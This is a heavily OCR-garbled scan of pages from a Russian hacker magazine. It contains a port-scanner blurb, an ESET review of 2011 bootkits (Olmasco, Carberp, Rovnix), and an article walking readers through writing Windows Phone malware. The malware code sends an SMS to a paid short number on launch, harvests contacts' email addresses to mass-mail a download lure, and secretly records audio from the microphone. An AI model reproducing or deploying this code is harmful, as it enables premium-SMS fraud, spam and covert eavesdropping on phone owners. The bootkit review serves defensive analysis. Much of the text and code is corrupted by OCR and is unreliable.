c.plмcOuCМICII .... Ofi)/~TIТ&ni!OH!Iol! OoorGioo(ГIOOIP"•apa...:.-в...тa

C:.S:.Ifl)f'ТP &IДIIOH

ClpllpFТP 88Л11а

T10j$11IМI\ti'Panwha.TIOIIIII...В.д110н!lol!

SSI-+aipelp Вlдl•аное - -

Windows.

APS [Aпti Ро г t Scaпneгl- это маленькая, но очень нужная программа. Она проел у шива­

ет несколько сотен портов [указанных в обнов­

ляемой базе да нных программыl, имитирует наличие на ни х уязвимых сервисов и анализи­

рует все подключения по этим портам.

Эта программа в основном предназнач ена для

обнаружения хакерских атак. Как известно,

сканирование портов помогает определить тип

операционной системы и обнаружить потен­

циальноуязвимыесервисы[например,почту или web-cepвepl . Посл е сканирования портов многие сканеры определяюттип сервиса, пере­

давая тестовые запросы и анализируя его ответ.

Утилита APS проводит обмен с атакующим ипозволяетоднозначноустановитьфактатаки.

Кроме этого, утилита может применяться для

выполнения следующих задач:

об наружение разного рода атак;

о тестирование сканеров портов и про верка

сетевой безопасности;

о тестирование файервола и оперативный

контрольего работы;

о блокирование сетевых червей;

о тестирование антитроянских и антивирус­

ных программ, систем IDS; блокирование троян скихпрограмм,пере­

численных в базе.

075

Page 78: Xakep 03_2012

Матросов Александр, Sen io г ma lwaгe ге sеагс h е г, ESET ·

есепая v

китов САМЫЕ ТЕХНОЛОГИЧНЫЕ УГРОЗЫ 2011 ГОДА

В ВЕСЕЛЫХ КАРТИНКАХ

Март этого года- самое правильное время для

подведения итогов года прошлого. Ну, сам понимаешь:

новогодние каникулы уже позади, до майских

праздников еще далеко, голова светлая- можно

и итоги подвести.

о Bootkit РоС evolution:

./ еЕуе Bootroot (2005)

./Vbootkit (2007)

./Vbootkit v2 (2009)

./ Stoned Bootkit (2009)

v'Evilcore х64 (2011)

v' Stoned х64 (2011)

Рис. 1. Развитие современного буткитастроения

о Bootkit Threats evolution:

./ Mebroot (2007)

./ Mebratix (2008)

./ Mebroot v2 (2009)

v'Oimarik (2010/11)

./Oimasco (2011)

./Rovnix (2011)

v' Carberp (2011)

Load MBR

rea d mod e

LoadVBR

read mode

Load bootmgr

read mode/protected mode

Load winload.exe о г winresume.exe

-----------, 1 load malicious : 1 MBR/VBR 1 __________ ,

,-----------NT kernel :

modifications 1 , ___________ ,

,-----------, load rootkit

read mode/protected mode driver 1

Load kernel and boot start drivers

Рис. 2. Схема загрузки буткита

, ___________ ,

Page 79: Xakep 03_2012

Веселая тройка буткитов

Рис . З . Модифицированная VBR на зараженной системе

MBR Code MBR Code

Partition ТаЫе Entry #1 •••• Partition ТаЫе Entry #1 • ••• • • Partition ТаЫе Entry #2 • Partition ТаЫе Entry #2 • • ·=· •• • • ••• •

• • • Partition ТаЫе Entry #3 • Partition ТаЫе Entry #3 ..• , . -=· • • • Partition ТаЫе Entry #4 • Partition ТаЫе Entry #4 • • • ....... ..... ..

MBR Data MBR Data

Bootmgr Partition Bootmgr Partition ........ ..... ...

05 Partition 05 Partition

............. Unpartitioned Space Olmasco Partition

.i :·-: '

Before infecting After infecting

Empty Partition Entry Active Partition Entry Existing Partition Entry

Рис . 4. Раздел для комnонентов буткита Olmasco

D точки з р ения развит_ия в редо н осного про гр аммнаго обе­

спечения п рош ед ши и год можно охарактеризовать как год

развития 64-битных буткито в . Если в 2010 году мне был известен лишь од ин бут кит для 64-битн ых систем- Win64/0imaгik ITD L41, то в этом году мы п олучили интересн ы й букет из Rovn ix, ZeгoAccesslupdate l , TDL4 Iupdatel, СагЬегр, Olmasco !также извест­ный как MaxSSI. И это т ол ько те у г розы, кото р ые умеют обходит ь защит ные меха н измы пр о в ерки цифровой под п иси для модулей

ядра и используют интересны е технологии. Развитие современно­

го буткитсстроения можно изобразить в виде схемы , представлен­

ной на рис. 1. Здесь отображены наиболее значимые моменты как в развитии

Ро С-реализаций, так и в воплощении этих технологий в боевых

вредоносных программах. Заражая загрузочный сектор жесткого

диска IM BRI или другой за грузочный код, который отрабатывается еще до начала инициализации операционной системы, вредонос-

Page 80: Xakep 03_2012

Рис. 6. Функция загрузки файла из скрытой файловой системы- Olmasco

на я программа может получить контроль над загрузкой компо­

нентов операционной системы, чтобы внести модификации в этот

процесс.

Именно эти модификации в дальнейшем позволяют обходить

механизмы проверкицифровой подписи и загружать вредоносные

драйвера в обход защитных механизмов. Но давай все-таки вер­

немся к нашему хит-параду сложных угроз, тем более что их спектр

действ ительно очень широк.

В прошлом году первое место нашего рейтинга занял Stuxпet,

а в одном из последних номеров я уже описывал механизмы рабо­

ты Duqu [обнаруженного осенью младшего брата Stuxпetl. Но , увы, на этот раз ему не суждено попасть в наш рейтинг, так как львиная

доля используемых им технологий уже знакома нам по червю

Stuxпet [хотя, если бы авторы проплатили рекламное место в жур­

нале «Хакер>>, мы бы поместили их творение на первое место :11. Duqu разработан на основе той же самой программн ой платформы.

Из его Запомнившихея особенностей стоит отметить, пожалуй,

только эксплуатацию шикарной 0-dау-уязвимости CVE-2011-3402 для загрузки вредоносного кода в ядро и повышения привилегий,

но это уже тема для отдельной статьи ;l.

ТА-ДА-ДАМI ПЕРВОЕ MECТQI Итак , первое место по технологичности занимает Dlmasco. Эта угроза интересна в первую очередь тем, что модифицирует VBR [Volume Boot Recoгdl и имеет полноценную собственную файловую систему для хранения дополнительных модулей и других ком­

понентов. Как выглядит модифицированная VBR на зараженной системе, показано на рис. 3.

Большинство антивирусных продуктов научились эффективно

справляться с активным заражением буткитам и, использующими

модификацию MBR. Однако злоумышленники пошли дальше, а точ­нее сказать , стали рыть глубже для противодействия антивирусам .

Это вызвало у некоторых антивирусных вендаров определенные

сложности, в результате чего злоумышленники получили возмож­

ность оста ваться незамеченными в системе. Устройство внутрен­

ней файловой системы также заслуживает отдельной статьи.

В конце жесткого диска создается полноценный раздел, в котором

размещаются все компоненты буткита [рис. 41 . Файловая система хра нит время и дату создания файла и даже

контрольную сумму для проверки целостности. С точки зрения

технологичности буткит с этой файловой системой благодаря ее

Page 81: Xakep 03_2012

структуре превосходит все другие угрозы, использующие скрытые

файловые хранилища. Сигнатура корневой дире ктории скрытой

файловой системы приведе на на рис. 5. Функция загрузки файла из скрытой файловой системы

в руткит-драйвере представлена на рис. 6. Так как драйвер написан на чистом С без обфускации, нам уда­

лось декомпилировать код драйвера при помощи IDA и Hex-Rays и таким обраЗ'ом восстановить его структуру.

Не менее интересен и процесс модификации системы во время

загрузки. Э т от довольно сложный процесс проиллю стрирован

на рис. 7. Дополнительно стоит отметить и то , что Olmasco, как и TDL4,

имеет буткит-часть, которая модифицирует библиотеку kdcom.d ll. Именно она отвечает за отладку ядра при пом ощи WiпDbg, а после

ее модификации отладчик не может подключиться к системе для

удаленной отладки. В итоге вариантов остается не так много: либо

исследовать все модули в статике [в случае если их уже удалось

извлечь из скрытой файловой системы] , либо пытаться в ернуть ориги н альн ы й kdcom.dll и грузить вредо н осный драйвер вручн ую.

Исследовать функцио нал бут кит-части тоже не та к-т о просто,

но в этом нам поможет эмулятор Bochs и отладка системы на самой ранней стадии загрузки прямо из IDA Рго.

Итак, Olmasco получил первое место за технологичность соб­ственной файловой системы и оригинальный механизм буткита ,

который использует ряд наработок из TDL4 и затрудняет лечение за счет нестандартных системных модификаций .

Loal MBR

mЬг is loaded апd executed

LoadVBRof mallclous partltion

iпfected VBR is loaded апd executed

Load "\boot" from mallclous flle sys­

tem

"\boot" is loaded апd executed

Hook BIOS lnt 13h handler load original

VBR

VBRof originally active partition is loaded апd executed

Load kernel and boot start drivers

Bootmgr is loaded апd executed

Continue kernel initialization

Load "drv32" ог "drv64"

Call KdDebuggerlnitialize1 from loaded kdcom.dll

substitute kdcom.dll with "dbg32" о г "dbg64"

Load wlnload.exe

Substitute EmsEпaЬied optioп with Wiпpe

Read bcd

Рис . 7. Процесс модификации системы во время загрузки- Olmasco

Веселая тройка буткитов

СЕЙЧАС УСТАНОВЩИК ИСПОЛЬЗУЕТ ЧЕТЫРЕ РАЗНЫЕ УЯЗВИМОСТИ

ДЛЯ ПОВЫШЕНИЯ ЛОКАЛЬНЫХ

ПРИВИЛЕГИЙ В СИСТЕМЕ

ТУ-ДУ-ДУМI ВТОРОЕ MECTOI Второе место по праву занимает обно вленная версия СагЬегр, ко­

торая обзавелась достаточно любоп ытным буткит-функционалом.

СагЬегр вообще можно назвать не только одной из самых техно­

логичных, но и самой жадной вредоносной программой прошлого

года. Этот буткит атакует наиб олее известные дистанционные

систем ы банко вско го обсл уживания, но речь сейчас не об этом.

Впервые идентич ный буткит-функ ционал появился у Wiп64/Rovпix, котор ый в начале лета доставил немал о хлопот пользователям

рунета. СагЬегр и Rovп ix базируются н а одном буткит- коде, инфор ­

мация о продаже которого неоднократ но встречалась на разны х

кибе ркрим инальных форума х в начале прошлого года .

Изнача льно Carberp имел только функционал для пользова­тельского режима, но прошлей осе нью были создан ы модификации

с буткито м. В процессе анализа свежих дропперов мне попались

Рис . 8. Покупайте наши буткиты!

Page 82: Xakep 03_2012

Р ис . 10. Деко мпилированны й код , ответстве нны й за эксплуатацию уя звимастей - Carberp

на глаза любопытные строкавые константы из уже распакованного

установщика [рис . 91 . Эти строчки сразу навел и нас на мысли о системных модифи ­

кациях, производимых буткитом. Н о давай снача л а погово р им

о дропп е ре, который содержит целый букет зксплойтов для повы­

шения привилегий. В первую очередь их наличие связано с тем ,

что для установки буткита требуются привилегии администрато-

ра или системы. У корпоратив н ых пользователей [а именно они

являются целью злоумышленнико в! , имеющих доступ к ДБ О, может п росто не быть п р ав на запуск ис п олняемого файла с высокими

п ривилегиями, и методы социальной инженерии тут уже не по­

могут. П озтому сейчас уста н овщик эксплуатирует четыре раз н ых

уязвимости для п овышения локальных при в илегий в сис теме:

М 510-073 lwin32k.sys Keyboaгdlayout vuln l; М 510-092 [Task Scheduleгvu l n);

ИНТЕРЕСНОЙ ОСОБЕННОСТЬЮ ДРОППЕРА ЯВЛЯЕТСЯ СНЯТИЕ

ХУКОВ И СПЛАЙСОВ С НЕКОТОРЫХ СИСТЕМНЫХ ФУНКЦИЙ

Рис. 11 . Снятие хуков и спnайсов с системных функций в исполнении Carberp

MS11-011 [win32k.sys SystemDefaultEU DCFont vul nl; N ЕТ Runtime Optimization vuln l http:l/osvdb.oгg/show/osvdЬ/71013 ).

Деком п илированный код, эксплуатирующий уяз в имост и, п ри­

веден на рис. 1 О. Еще одной инте ресной особенностью работы д ра п пе ра я вля ­

ется с н ятие различ н ых хуков и сплайсов с некотор ы х системных

функций переднепосредствен н ым за п уском бут ки т-уста н овщика

[ ри с . 111. Это своего рода обход различных п есочниц и средс т в мони ­

торинга, которые ис п ользу ют хуки в пользо в ател ь ском режиме.

В процессеработы буткит-части в обход меха н измо в про верки

цифровой под писи и других средств за щиты з а гружаетс я вре ­

донос н ый драйвер. За дач е й этого драйве р а я вл яется в недр ение

полезной нагрузки в адре с н ое пространст во u sе г-m оdе-процессов .

Д о этого испол ьзовались методы внедрения в пользо в а тельском

р ежиме, такие ка к N tQueueApcThгead[J/NtResumeThгead[). Факт ически С агЬегр состоит из трех частей: буткит- части, за­

гружаемого ей драйвера, и dll-модул я , в н едр яемо г о др айвером

в п ользовательском режиме. Странно, что раз ра ботчи ки не ис ­

пол ьзовали все возможност и, которые им предос тавл я ет загру ­

женн ы й код н а уро в не ядра системы . В се перехваты системных

функ ций уста н авливаются уже в нед ре н ным модулем в пол ьзо­

вательском режиме. Их ле г ко об н аруживают та кие инс т румен ты,

как GM ER или RKU. СагЬе г р получил второе место за техноло гичность, та к как зт о

Page 83: Xakep 03_2012

Веселая тро йка буткитов

·------ success ·--· 1 1 1

-----·fail----· Loal MBR

' Real mode

r----- ---------- Win 2000·------------ • LoadVBR 1 1

WinXP

success

1 1

' Determine 05 Digit Capacity

lnstall Corresponding Kernel mode Driver

Overwrite Bootstrap Code of Active Partition

1 1

fail

1 1 1 1

' Call SheiiExecuteEx API with "runas"

1 1 1 1 1 1 1

r-- ...

' >< ' ·- . с: , > , о ,

0::: ~ -о с:

~

Real mode

Load bootstrap code

real mode 1 protected mod

Load bootmgr

rea l mode 1 protected mod

Load winload.exe or winresume.exe

real mode 1 protected mod . ' ' Load kernel and boot start drivers lnitiate System Reboot ________ ., Self Delete and Exit

Рис . 12. Заражение системы буткитом Rovnix

первый банковский буткит, который эффективн о работает как

в х86·, та к и в х64-системах. В 2012 г о ду, я дума ю, мы еще не раз

услышим об этой вредоносной программе.

ТРЕТЬЕ МЕСТОI БЕЗ ФАНФАР Третье п очетное место нашего хит-парада занимает Rovпix,

кот о рый первым стал использ о вать модификацию областей за­

грузочного кода, отличного от MBR. Процесс заражения системы проиллюстрирован на рис . 12.

Как видно из бл ок- схем ы , в процессе заражения, за исключе ­

нием этапа модификации В ооtstгар- кода, нет ничего необычного.

B ootstгap- это част ь загрузчика, которая отрабатывается сразу

п осле инициализации VBR IVolume Boot Recoгd], н о п еред загруз­кой системного bootmgг. Именно это и позволяет впоследствии

влиять на загрузку системы. Rov пi x, как и Olmasco, использует скр ытую файловую систему для х ран ения своих компонентов и по­

следующего доступа к ним при помощи буткит-кода , но, в отли ч ие

от файловой системы Olmasco, она устроена довольно примитивно,

то есть, п о сути, представляет собой просто область диска , в кото­

рую записаны данные, и не имеет какой-либо сложной структуры.

В пр ин цип е, в описы ваем ом случае эта область с данными нужна

лишь для того, чтобы в процессеработы буткит мог прочитать

необходимые компоненты и заменить ими о р игинальные п ри за ­

грузке системы.

Рис. 13. Загрузка Rovnix

Итого, Rovпix стал п ервой угрозой, по казав ш ей неэффектив­

ность многих антивирусных пр одуктов , которые проверяли целост­

ность только MBR. В итоге вектор атаки, используемый буткита ми, получается практически неисчерпаемым, пока целостность си­

стемы проверяется на поздних этапах загрузки системы . По сути,

сейчас система загружается всегдананедоверенной платформе.

Возможно, технология SecuгeBoot исправит эту ситуацию в WiпB ,

но это будет еще не скоро .

ЗАКЛЮЧЕНИЕ В этом году в нашем хит-параде самых технологичных угр оз

присутство вали вредонос ны е пр о граммы, имеющие различный

буткит-фу нкционал и содержа щи е скрытые файловые системы.

Всё это в первую очередь пр извано скрывать вредоносные п ро­

граммы от антивирусных продуктов, п ротиводействовать лечению

активного заражения и затруднять проведение криминалистиче­

ской экспертизы. В наступившем году проще жить не станет, и я

думаю, что многие из описанных в этой статье векторов уже себя

исчерпали и в нашем следующем хит-параде, возможно, появятся

угроз ы , использующие специфические особенности со вр еменных

процессоров, такие как многаядерность и аппаратная виртуализа­

ция . Но с точки зрения реальных угроз это возможно только в слу­

чае их рентабельности, поскольку, как показывают мои наблюде­

ния, кибеприступ н ики- крайне прагматичный народ. :Х:

Page 84: Xakep 03_2012

MALWARE Юрий «yurembo» Язев lyazevsoftldgmail.coml

ь для мобильных <<ОКОШеК>> ИССЛЕДУЕМ МОДЕЛЬ БЕЗОПАСНОСТИ ПОПУЛЯРНОЙ ОС ДЛЯ СМАРТФОНОВ НАПРАКТИКЕ

Вообще-то в нашем журнале работает полно фанатов винды, скажем я

или наш редактор, доктор Лозовский . К счастью, он очень обижен тем

фактом, что MS слишком долго тянула с обновлением его любимой WM6.5, и поэтому поручил мне хорошенько разобраться, как в новой системе

обстоят дела с малварью и уязвимостями. Вперед!

-Чтобы создать объект класса MediaEiement (nроизводным от него является

объект mediaSoundl, надо в ХАМL-код добавить такую строчку: <1\ediaEle­ment Height="120" Name="mediaSound" Width="160" />.

wjndowsphonehack· Н&~Ш~- хороший сайт, содержащий

много интересной мифы о хаках WP 7-7.5 .

• На диске находятся

три nроекта,

разработка которых описана в статье.

Page 85: Xakep 03_2012

rn о недавнего време н и в стане WP было достаточно спокой -

но, но в середине декабря на платформе Windows Phone 7.5 неожиданно был зафиксирован факт ре бута операционной

системы, в результате которо го, п осле получен ия специал ьно подго­

товленного СМС-сообщения l g oo.g i/YЫru l , функция отп равки и чте н ия

эсэмэсок перестает работат ь . Тако го же эффекта можн о доби т ьс я , от­

правив особое сообщение из социал ьной сети [ н апример, из Facebookl. А сообщение, автор которо го имеется в тайле нарабочем столе, может

заблокировать все функции телефона! Этот ба г- не новинка в мире

мобильных устройств, в свое в ремя им также страдал и и айфон ы,

и андроиды .

Ес л и не брать во в н има ние последний рассмотренны й э пизод , то

этот ба г не так уж и критичен, особенно по срав нению с СМС-атакой

на айфон, которая позволяет атакующему получить полный контроль

над устройством. П ользователи андроидев тоже были в опасности:

<< СМС-смерть» выкидывала телефон в офлайн или, что даже хуже,

предоставлял а атакующему полн ый досту п к системе .

В настоящее в ремя из <<т рех к итов>> только WP 7 уязвима для СМС-атак . Когда п исались эти строки [я нварь 2012-rol, обновления , устраняющего этот глюк , еще не было. Microsoft в последнее время довольно часто выпускает апдейты для своей мобильной оси , поэтому

будем надеяться, что исправление последует очень скоро .

не один раз взломать систему, позтому мы рассмотрим лишь некото ­

рые из этих ха ков, самые выдающиеся и общественно полезные. :1 Как известно, чтобы разлечить устройство под управлением WP 7,

необходимо пройти утомител ьную процедуру ре гистра ции в Windows Phone Marketplace и вдобавок за пл атит ь 99 <<веч н озеле н ых президен­

тов>>. Однако умельцы из ChevronTeam изготовили ту л зу ChevronWP7, которая разлочивает систему.

Эта утила тоже не бесплатна, но за нее придется отдать несравни­

мо меньше - девять <<nрезидентов>>. Она корректно функционировала

только на WP 7, а так как Mango MS пофиксила ба г в WP 7.5, который ис п ользовала nрограмма, то тепе р ь утил а от Chevro nTeam не работа­ет. В принципе, есть еще один джедайский с пособ разбл окировать

устройство для запуска сторон них п риложений. Дл я каждого произво ­

дителя он с в ой, количество действий, необходимых для достижения

цели, тоже различается. Как говорится, Гугл в помощь! :1 Пользователь новой мобильной <<фо рточки>> не имеет доступа

к файловой системе смартфо н а. П од к л юч е нное устройство не ото­

бражается в Эксnлорере как до п олн ительны й диско в ый накоnител ь,

но это легко исправить. Сnерв а отключидевайсот компьютера для

чистоты эксперимента, открой редактор реест ра, разверни ветвь

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControiSet\Enum\USB, там найди строку ZuneDriver, далее открой ее материнскую ветку Device

БЕЗОПАСНОСТЬ WINDOWS PHONE

Мал варь дл я мобильн ых <<окошек>>

.. ... ... "'"'-""" ............... VIO,Pf)UIII).OЦ.C

~ .. _DМc....,.tGIIOI .. __ . ,..м~ .. ....__ .... ~н.fкоо

,., ;;.~.н-s, .. ~т ... ·· -~.ь.~ -~tT)'II* .,. __ "_

4 -~~ 4 1&JIW<ci18IOIICIIIOO

.,_" . .__"_.., ....,._ ., ...... .,_,_ ..__"_.., lt(6.JoU.tUZ ., ...... ., ....... ...­., ...... ....... . ._...

...__ ... ..,..._, ~~~OIIUI((-U­,_,. ......... _" ~~-)IN

f'Ю1VI-161.\-.4W.~D<IfD){C.U.... ......,., ......,., ,_,., _,. _., .,.,.,...,._,-.....-ao>J

Реда ктируем реестр

Parameter и уже там измени следующие ключи: ShowlnShell устано­ви в единицу, PortaЫe DeviceNameSpace Exclude FromShell- в нуль,

EnaЫelegacySupport - в едини цу.

Использов ать WP 7 как модем без сnециальн ых nриготселений

тоже было нельзя. Н о, к счастью , в WP 7.5 это недоразумение было исправлено . Правда, последнее слово всё равно остается за операто­

ром сотовой связи, и если тариф не п редназначен для расшаривгния

интернета, то им п ридется nользоват ьс я исключител ь н о на мобильном

девайсе [xe-xel.

ХАКЕРСКИЕИССЛЕДОВАНИЯ Перейдем от обзоров чужих ха ко в к реализации собстве нной мал вари.

Несмотря на то, что WP в целом выглядит <<неломаемоЙ>> системой (что довольно странно для MS ;11, у хакеров, как у Мальчиша -Кибальчиша, есть тайные ходы, и их не засыпать .

П риложения для WP выполняются под .NET в ок ружен ии Silverl ight. Это значит, что нам н ичего не придется nисать с нуля и можно будет

воспользоваться готовым API. П роще всего отправить SMS на платный номер. Так пускай наше <<nолезное>> приложение делает это сразу после запускаl Для того чтобы можно было обрабатыват ь события

жизненного цикла приложения, надо подключить следующее про ­

странство имен :

usi пg System .Wiпdows.Navigatioп ;

Кроме того, надо добавить пространство имен Microsoft.Phone. Tasks, чтобы работать с SMS и мылом (см. н иже ! . Затем напишем об­

работчик события, в оз н икающего пр и загрузке приложен ия:

protected override void OпNavigatedTo(NavigatioпEveпtArgs е) {

SmsComposeTask msgSMS = пеw SmsComposeTask(); msgSMS. Body = "Наше зло-сообщение" ;

Посмотрим , что Microsoft сделала для безоnас­

ности своей мобильной ОС .

1. В ес ь код уnравляемый !выnолняетс я nод

.NET Compactl , из ч е го следует, ч то !nо­

те нциально! ни к ако е ПО не может нанести

вр ед систе м е .

4. Пользователю заnр е щен до с туn к фа й ло­

во й с истеме смартфона . IКазало с ь бы , э то

ограничивает наши возможн о с т и , н о, если

задуматься , часто л и тебе nр их одится

коnаться в содерж и м о м своего тел е фона?

К тому же безоnасн ость- nрежде в се го . !

стае имен System .Security.Cryptographyl, чтобы легко шифровать данные .

8. WP 7 nоддерживаетсл едующие алго­

ритмы шифрования : АЕS, HMACSHA1 , HMACSHA256, Rfc2898DeriveByte s, RSA, SHA1, SHA256.

2. Каждое nриложе ни е выnолняется в своем

nространстве- ка м ере ichamberl . 3. Каждое nриложе ни е х ранит с вои данные

обособленно от дру г и х nриложений , таким

образом , к ни м ни кто не имеет до с т у nа,

к роме самого nрил ожения.

ХАКЕР 03/158/2012

5. Приложения можно у станавливать только из Windows Рhопе Marketplace.

6. Данные nередаютс я через SSL. Впроч е м ,

было бы странно, е сл и бы было инач е.

7. Разработчик м ожет использовать класс

ProtectedData lна ходящи й ся в nростран -

9. Встроенный браузер, мобильны й IE , н е nо­зволяет устанавливатьдоnолнительные

nлагины .

10. Приложения, разработанные не в Microsoft, не м огутфун к ционировать в фоново м

р еж и м е .

083

Page 86: Xakep 03_2012

MALWARE

}

msgSMS.To = ""1928"" ;

msgSMS. Show();

Последняя команда листинга формирует и отправляет сообщение;

остальной код в комментариях не нуждается.

МОБИЛЬНЫЙ СПАМ- ЗЛОБОДНЕВНАЯ ТЕМА : ] Следующая про га , которую мы напишем, будет считывать имейлы

из списка контактов владельца смартфона и рассылать на них <щен­

ную» информацию:). В отличие от предыдущей версии мобильной оси, в WP 7.5 контактные данные хранятся в удобочитаемом в иде

в локально й БД . К ним относятся не только номера телефонов

и адреса электронной почты , но и другая информация о контактах,

забитая пользователем , так что эа ним можно будет еще и по­

шпионить. Эта БД предназначена только для чтения , поэтому тебе

не удастся модифицировать данные или добавить новый контакт.

Пора начинать разработку. Создай новый WР-проект (обрати внимание, что операционная система имеет версию 7.5, а SDK­версию 7.1) на основе Silveгlight , перейди в файл С#-кода и добавь в начало ссылку на пространство имен Micгosoft.Phone.UseгData,

обесnечивающее работу с пользовательскими данными. Не забудь

также добавить указанное в прошлом разделе nространство имен

для работы с мылом. Второе, что надо сделать, - это объявить

глобальную переменную класса Contacts, чтобы иметь доступ к контактным данным юэера. Для инициализации nоиска мы вы­

зываем из функции MainPage функцию ln itSeaгch, которая в строчке contacts.SeaгchAsync(Stгing. Empty, FilteгKi nd. DisplayName, null) производит асинхронный поиск по контактным данным . У функции

SeaгchAsync три пара метра: условие поиска (если этот параметр пустой, то ищется всё); пара метр, по которому проводится выбор-

ка ( можно искать по имени, имейлу, номеру телефону или просто указать None, если параметр не важен, как в нашем случае); объект, в который помещается результат поиска, или nul l. Результат всё рав-

Интерфейс Overhear2

СПОСОБЫХРАНЕНИЯ

Windows Phone nредоставляет nриложениям три способа раздельного хранения информации:

1. Изолированное хранилище для настроекзаnоминаеттекущее

состояние nриложения nри nереходе из одного режима его работы

в другой (исnользуется hаsh-таблица : параметр =значение) .

2. Изолированное хранилище для файлов и nапок.

З . Локальная БД для реляционных данных служит для хране­

ния множества строго уnорядоченных свойств приложения ,

к которым вnоследствии можно обратиться с nомощью заnроса

на LINQ, чтобы изъять и/или модифицировать данные .

Таким образом, у разработчика имеется широкий ассортимент

средств для хранения данных , несмотря на отсутствие достуnа

к файловой системе устройства.

но будет возвращен в переменной класса CoпtactsSeaгchEventAгgs ., но вернется он только в событии SeaгchCompleted, обработчик

которого надо зарегистрировать в функции MainPage:

contacts.SearchCompleted += new EventHandler< ContactsSearchEventArgs >(contacts_SearchCompleted)

Теперь опишем это событие:

void contacts_SearchCompleted(object sender, ContactsSearchEventArgs е)

{

}

int max = e.Results.Count(); // кол-во контактов

string adr; try { //во избежание падения nроги

for ( int i = е ; i < max; i++) if (e.Results.ElementAt(i).EmailAddresses != null) {

adr = e.Results.ElementAt(i). EmailAddresses.First() . EmailAddress ; //берем мыло

if (adr !=_ null && adr != "" ) 11 если оно не равно нулю SendEmail(adr); //шлем мь~о : )

catch (Exception ех) { }

Из кода видно, что вначале мы берем общее количество найденных

контакто в, затем в цикле выбираем первый e-mail-aдpec каждого кон­

такта (у него может быть не одно мыло) и, если этот адрес не nустой ,

вызываем функцию SendEmail, которой передаем найденный адрес. Это очень простая функция:

void SendEmail(String adr) {

}

EmailCompos!;Task email = new EmailComposeTask()_; email . То_ = adr; email. Subject = "Holy mail" ; email. Bqdy = "Down_load my prog" ; email. Show();

Как всегда , подробно прокомментированный листинг ищи на диске

(проект EmaiiSeпder).

ХАКЕР 03/158/ 2012

Page 87: Xakep 03_2012

ПОДСЛУШИВАТЕЛЬ В прошлом разделе у нас с тобой был легкий расела бон, поэтому

давай напишем что-нибудь поеложнее и поинтереснее. Как следует

из заголовка раздела, следующая наша малварь будет слушать и со­

хранять все улавливаемые смартфоном звуки. Для ясности вкратце

расскажу об алгоритме ее работы, как я его вижу. Разумеется, мы

пишем этот пример исключительно в исследовательских целя х!;] После запуска· наше приложениена несколько секунд включает

микрофон и записывает окружающие звуки в поток, затем выключа­

ет микрофон и записывает поток в файл в изолированном хранили ­

ще смартфона, после чего, наконец, загружает из этого хранилища

файл и воспроизводит его. Результат мы узнаём только после

исполнения последовательности всех этих действий, поэтому кроме

малвари я приготовил для тебя приложение (Оvегhеаг2 , ищи на дис­ке], в котором каждая отдельная операция выполняется по нажатию кнопки, чтобы ты мог подробней исследовать все эти операции.

Если хочешь создать проект вместе со мной с нуля, сгенерируй

новый Silveгlight- проект для WP. Пер ейди в начало файла С#- кода и подключи следующие пространства имен:

using System.IO; using Microsoft.Xna.Framework; using Microsoft.Xna.Framework.Audio; using System.Windows.Threading; using System.IO.IsolatedStorage;

В первом из них находятся классы для работы с потоками и фай­

лами, во втором- FгamewoгkDispatcheг (если коротко, обработ­чик циклических событий], в третьем, собственно, сам микрофон, в четвертом -таймер для генерации циклических событий (ниже рассмотрим, для чего он нужен], а в пятом - средства для работы

с изолированным хранилищем. Далее в автоматически сгенери­

рованном классе MaiпPage объявим глобальные переменные iсм. исходник]. П ервая не представляет особого интереса, в ней просто

содержится имя файла для сохранения полученного звука и его по­

следующего считывания. Во второй переменной объявляем микро­

фон, которому сразу же присваиваем значение <<ПО умолчанию» -

в настоящее время все смартфоны с ОС Windows Phone оснащаются только одним микрофоном, поэтому выбор невелик :].

Затем объявляем переменную, к которой nривязывается nо-

ток. В этом потоке сохраняются аудиоданные в течение сеанса

заnиси, перед сбросом в хранилище . Массив байтов (следующая

переменная] используется для пром ежуточного хранения данных. Когда внутре нний буфер микрофона заполняется, данные из него

скидываются в этот массив, и только затем записываются в по-

ток . Булевекая переменная гecoгdingStopped указывает действие,

выполняемое в данный момент, то есть, если она равна нулю, идет

заnись (если микрофон еще включен], в nротивном случае осущест­вляется воспроизведение.

В конструкторе класса объявим два таймера класса

DispatcheгTimeг плюс инициализируем их временные значения .

Первый таймер нужен для имитации игрового цикла xna. Так как

ЖИЗНЕННЫЙ ЦИКЛ ПРИЛОЖЕНИЯ

Малварь для мобильных <<око шек»

микрофон относится к пространству имен xna, он управляется со­бытийным механизмом этого цикла:

DispatcherTimer dt ; new DispatcherTimer(); dt.Interval ; TimeSpan . FromМilliseconds( ЗЗ );

Чтобы иметь возможность обрабатывать событие таймера, про­

исходящее через заданный промежуток времени, подписываемся

на событие: dt.Тick +; new EventHandler(dt_Тick). Затем с помощью команды dt.Staгtll запускаем таймер.

Второй таймер нужен для того, чтобы выключить микрофон,

сохранить поток в файле и воспроизвести его. Таким образом, для

инициализациивременного интервалатаймера нужендлительный

промежуток (например, 10 000 мс], nлюс надо задатьдругую функцию в качестве обработчика события, всё остальное то же самое. В конце

конструктора инициализируем микрофон, вызывая самсписную

функцию SetupMicгophone. Сначала она проверяет, чтобы дефолтны й

микрофон не был равен нулю. Если это по каким-то причинам не так,

т~делатьнечег~выходим .

Затем устанавливаем аудиобуфер микрофона, чтобы получить

возможность записывать аудио продолжительностью полсекунды.

Заполняем нулями объявленный ранее поток. После этого регистри­

руем событие, возникающее при заполнении буфера. Вызов функ­

ции WгiteWavHeadeг рассмотрим несколько позже, пока он для нас

не слишком важен . Наконец, с помощью строчки micгophone.Staгtll

включаем микрофон на запись окружающих звуков. В последней

строчке функции устанавливаем уровень громкости .

Настала очередь события первого таймера, которое вызывается

каждые 33 миллисекунды . В нем только обновляется состояние,

при этом все происходящие исключения игнорируются. С момен-

та запуска программы и до тех пор, пока идет запись, переменная

гecoгdingStopped имеет нулевое значение. Когда истечет временной

интервал второго таймера и его событие будет сгенерировано, эта

переменная примет истинное значение. При заполнении аудиобуфера

микрофона (это происходит примерно каждые 500 миллисекунд] вы­зывается событие micгophone_BuffeгReady.

В нем данные извлекаются из аудиобуфера микрофона и записы­

ваются в поток. Если при этом переменная гecoгdingStopped принима­

ет истинное значение, значит, запись завершена, и нам необходимо

выключить микрофон и сохранить поток данных в файле.

Возможно, ты задалея вопросом: почему мы не выключаем микро­

фон непосредственно при генерации события второго таймера, а от­

кладываем отключение до следующего заполнения буфера данных?

Это нужно для того, чтобы данные, имеющиеся в буфере к моменту

возбуждения события тика таймера, были сохранены . Если бы мы

сразу выключили микрофон, то данные, находящиеся в его буфере,

